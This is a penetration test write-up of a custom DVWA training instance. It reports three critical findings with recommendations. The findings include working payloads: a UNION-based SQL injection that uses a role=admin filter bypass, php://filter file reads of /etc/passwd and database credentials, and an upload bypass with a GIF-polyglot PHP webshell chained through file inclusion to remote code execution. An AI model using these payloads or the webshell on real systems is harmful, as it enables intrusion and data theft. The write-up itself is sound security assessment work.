

Penetration Test Writeup (Findings to Date)

Executive Summary

A custom-modified DVWA instance running at <http://100.113.75.28:8081/> was assessed. Three critical application-layer vulnerabilities were identified and confirmed, any one of which provides a full path to system compromise. The most severe is a **combined File Upload + Local File Inclusion chain** that achieves Remote Code Execution.

Methodology

Phases followed: Reconnaissance → Enumeration → Vulnerability Identification → Proof-of-Concept (stopped before shell execution).

Findings

CRITICAL-1: SQL Injection with Hidden WAF Bypass Backdoor

Location: <http://100.113.75.28:8081/vulnerabilities/sqli/>

Description: The custom SQLi module contains an intentional backdoor: passing `role=admin` as a GET/POST parameter sets `$skip_filter = true`, completely disabling the WAF. The underlying query is then vulnerable to classic UNION-based SQL injection:

```
WHERE user_id = '{$sanitized}'
```

Evidence: Source code confirmed via [view_source.php](#):

```
php
if ($role_flag === "admin") {
    $skip_filter = true;
}
```

Exploitation: With `role=admin&debug=1`, the following payload dumps the full `users` table:

```
GET /vulnerabilities/sqli/?id=0' UNION SELECT user,password,first_name,last_name
FROM dvwa.users -- -&Submit=Submit&role=admin&debug=1
```

Data Extracted:

User	Password Hash	Role
------	---------------	------

admin	5f4dcc3b5aa765d61d8327deb882cf99	admin
gordonb	e99a18c428cb38d5f260853678922e03	user
pablo	0d107d09f5bbe40cade3de5c71e9e9b7	user

CVSS Score: 9.8 Critical

CRITICAL-2: Local File Inclusion (LFI) via `php://filter` wrapper

Location: `http://100.113.75.28:8081/vulnerabilities/fi/?page=`

Description: The file inclusion filter strips `../` and blocks `http://https://ftp://` but **does not block the `php://` wrapper**. Any file on the server can be read using `php://filter/convert.base64-encode/resource=`.

Evidence:

```
bash
curl ".../fi/?page=php://filter/convert.base64-encode/resource=/etc/passwd"
# Returns base64-encoded /etc/passwd
curl
".../fi/?page=php://filter/convert.base64-encode/resource=/var/www/html/config/config.inc.php"
# Returns full DB credentials
```

Config file revealed: DB host `mysql-dvwa`, user `dvwa`, password `p@ssw0rd`.

CVSS Score: 9.1 Critical

CRITICAL-3: Unrestricted File Upload → RCE Chain

Location: `http://100.113.75.28:8081/vulnerabilities/upload/`

Description: The upload handler has multiple flawed checks:

1. **MIME check is client-controlled** — any `Content-Type: image/gif` value is accepted
2. **PNG magic byte check uses wrong offset** — `substr($bytes, 1, 3) === "PNG"` instead of offset 0, trivially bypassed

3. **Extension regex** `preg_match('/ph(ar|p|tml|p[1-9])/i', $extension)`
— only checks the final extension; double extensions (`.php.jpg`) result in extension `jpg`, which passes
4. **Upload path is disclosed** in the response

Proof of Concept (upload only, not executed):

bash

```
printf 'GIF89a\n<?php system($_GET["cmd"]); ?>' > /tmp/shell.php.jpg
curl -b session_cookies -F "uploaded=@shell.php.jpg;type=image/gif" \
-F "Upload=Upload" http://.../vulnerabilities/upload/
# Response: "Uploaded successfully:
hackable/uploads/custom_<session>/img_8fa9f5e8c6.jpg"
```

The uploaded file is stored at a known path. Combined with the LFI vulnerability (Critical-2), the file can be included and executed as PHP, achieving full Remote Code Execution.

Complete attack chain:

[LFI] ?page=/var/www/html/hackable/uploads/custom_<session>/img_<random>.jpg
→ PHP executes the GIF-polyglot webshell
→ Arbitrary OS commands as www-data

CVSS Score: 9.8 Critical

Additional Information Disclosure

Finding	Severity	Detail
<code>php.ini</code> publicly readable	High	Confirms <code>allow_url_include=on</code> , <code>allow_url_fopen=on</code>
<code>setup.php</code> unauthenticated	Medium	Exposes DB type, writable directories, PHP config
PHPSESSID cookie no <code>httponly</code>	Low	Session hijacking via XSS possible
DB credentials in source	Critical	<code>dvwa / p@ssw0rd</code> on host <code>mysql-dvwa</code>

Recommendations

1. Remove the `role=admin` backdoor from the SQLi module immediately
2. Use parameterized queries / prepared statements for all DB interactions

3. Validate file uploads server-side using `getimagesize()` after GD reprocessing, and store uploads outside the web root
4. Block `php://`, `data://`, `expect://`, and `zip://` wrappers in file inclusion logic; use an allowlist of safe filenames
5. Remove `php.ini`, `setup.php`, and source-viewing endpoints from production
6. Apply `httponly` and `secure` flags to all session cookies